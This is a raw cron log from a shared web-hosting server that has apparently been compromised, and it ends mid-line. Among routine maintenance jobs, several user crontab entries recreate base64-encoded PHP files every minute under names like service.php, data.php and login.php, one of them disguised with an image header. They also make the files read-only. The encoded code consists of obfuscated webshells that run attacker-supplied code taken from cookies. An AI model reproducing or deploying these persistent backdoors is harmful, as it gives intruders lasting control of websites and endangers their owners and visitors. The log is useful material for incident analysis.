Mar  1 18:00:02 medusa CROND[15535]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:00:02 medusa CROND[15536]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15519]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15539]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 18:00:02 medusa CROND[15540]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:00:02 medusa CROND[15541]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 18:00:02 medusa CROND[15563]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:00:02 medusa CROND[15565]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:00:02 medusa CROND[15566]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15559]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 18:00:02 medusa CROND[15527]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 18:00:02 medusa CROND[15567]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:00:02 medusa CROND[15575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:00:02 medusa CROND[15560]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 18:00:02 medusa CROND[15574]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 18:01:01 medusa CROND[6249]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:01:01 medusa CROND[6250]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:01:01 medusa CROND[6251]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:01:01 medusa CROND[6253]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:01:01 medusa CROND[6258]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 18:01:01 medusa CROND[6259]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:01:01 medusa CROND[6260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:01:01 medusa CROND[6261]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:01:01 medusa CROND[6262]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:01:01 medusa CROND[6266]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:01:01 medusa CROND[6263]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:01:01 medusa CROND[6267]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:01:01 medusa CROND[6268]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:01:01 medusa CROND[6265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:01:02 medusa run-parts(/etc/cron.hourly)[6258]: starting 0anacron
Mar  1 18:01:02 medusa run-parts(/etc/cron.hourly)[6641]: finished 0anacron
Mar  1 18:02:02 medusa CROND[30974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:02:02 medusa CROND[31008]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:02:02 medusa CROND[31009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:02:02 medusa CROND[31010]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:02:02 medusa CROND[31014]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:02:02 medusa CROND[31016]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:02:02 medusa CROND[31017]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:02:02 medusa CROND[31019]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:02:02 medusa CROND[31022]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR